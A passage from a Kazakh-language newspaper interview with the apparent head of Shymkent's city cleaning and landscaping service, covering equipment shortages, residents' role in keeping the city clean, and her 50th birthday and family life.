Қазіргі таңда, қаланың жер көлемі ұлғайып, жаңа елдімекендермен толығуда. Бұл да болса біздің ісімізге жаңа міндеттер, үлкен жауапкершілікті жүктейді. Бұдан бөлек, біздер төтенше жағдай орын алар болса, дер кезінде оқиға орнында апат салдарын жою ісіне де белсене қатысамыз. Бұл үшін 21 техникамыз жұмыс істеуде. Әрине, әлі де болса, бізде арық қазатын, жүк таситын арнайы техникалар, эксковаторлар жетіспейді. Оларды алдағы уақытта екінші деңгейлі банктерден лизинг арқылы алуды жоспарлап отырмыз. Есептеп көрсек, бізге нақты 215 техниканың қажеттілігі туындауда. Сонымен қатар, тағы бір айта кетер мәселе, қала аумағындағы ирригация жүйелерінің ретсіз орналасуы, «қызыл сызықтан» асып кеткен дүкен-дүңгіршектердің мәселесі тазалық жұмыстарын ойдағыдай жоспарлы межеде атқаруға кедергісін келтіруде.

— Қала тазалығын сақтау бағытында тағы қандай шаралар жүзеге асады?

— Тазалыққа тек біздің мекеме емес, әрбір қала тұрғыны жауапты болуы тиіс. Туып-өскен жерім болғандықтан, Шымкент мен үшін дара қала. Халқы қонақжай, дарқан, кеңпейіл. Бірақ, әйтсе де шымкенттіктердің тазалық жөнінде мәдениетін, түсінігін әлі де көтеру қажет. Қала — баршамыздың ортақ үйі­міз. Тазалық мәселесі қаламызда тұрып жатқан тұрғындардың барлығына қа­тысты. Әр азаматты тазалыққа тәрбиелеу отбасынан басталуы тиіс. Өздері таза­лайды деген керағар пікірден аулақ болып, қолынан келетін шаруаны тындыра салғаннан ештеңесі кетпейді. Әрқайсысымыз өзіміз тұратын үй-жайдың айналасын таза ұстап, артық-ауыс қалдықтарды шашпай, ұқыпты болсақ, қаламыздың таза әрі көрікті мекенге айнал­уына титтей де болса үлес қосар едік. Жалпы, біздің мекеме облыс орталығының 40 көшесінің бойындағы жасыл-желекті күтіп-баптап ұстауға, негізгі 77 көшенің және 5 канал мен өзендердің тазалығына жауапты саналады.

Жылдан жылға елдің әлеуметтік-экономикалық дамуы артып, қала тұрғындарының әл-ауқаты жақсарып келеді. Мұның өзі еліміздің ертеңге деген сенімін еселей түсуде. Туған қаламыздың сәнді, жинақы болғаны бәріміз үшін де қуаныш. Сондықтан да, өзіміз тұрып жатқан үйіміз бен көшеміздің таза болуын қадағалап, ол жұмысты атқарып жүргендердің жұмысына құрметпен қарауға үйренейік.

— 8-наурыз мейрамымен бірге 50 жасқа толған мерейтойыңыз да қатар келген екен. Қос бірдей қуанышты ерекше атап өтетін боларсыз?..

— Әрине, ресми түрде демалыс күндері ретінде аталғанмен де, қос бірдей қуаныш сәтін тойлап, үйде болуға біздің қызметіміз мүмкіндік бере бермейді. Мен кеше жігіттерге айттым, «әйел адамдарымыз үшін бұл мейрам күні демалыс болсын. Бірақ мен өзім сендермен бірге жұмыс орнында боламын», — деп. Бұған барлығы да келіскен сыңайлы. Қалыптасқан дәстүр сол, мейрам күндері де бізде қауырт жұмыстан босауға мүмкіндік жоқ.

Жалпы, Елбасы Н.Назарбаевтың бір сөзінде айтқаны бар: «қазақтың өз тарихында ұялатын дүниесі жоқ» деп. Сол айтқандай, өзімнің де осы 50 жылдық ғұмырымда өкініш ететін тұсым жоқ секілді. Әлі күнге ешкімнің ала жібін аттағаным жоқ. Хал-қадірімше дос пен туыс арасында, қоғам алдында абыройлы болуға тырыстым. 25 жыл отандасқан жұбайым Сағын Қаратаев екеуіміз 2 ұл, 1 қыз тәрбиелеп, құтты орындарына қондырдық. Өмірімде өзгеге артар өкпем жоқ.

Әрине, қызмет барысында межелі міндетті дер кезінде аяқтау үшін түнгі 10-11-ге дейін жұмыста қалатын кездер де аз емес. Жауаптылықтың басында өзің тұрған соң барлық нәрсені жіті бақылауда ұстау қажет. Жұбайым мен балаларым қызметіме түсіністікпен қарайды. Маған тіпті қай кезде де қолдау танытып отырады. Осындай жетістіктің бәрі еліміздегі бейбітшілік пен өзара ауызбіршілікте ғұмыр кешкен халқымыздың берекелі тұрмысының нәтижесі деп ойлаймын.

— Әңгімеңізге рахмет!

Автор: Жеңісбек СЕРІКҰЛЫ,  Дерек көзі: «Шымкент келбеті»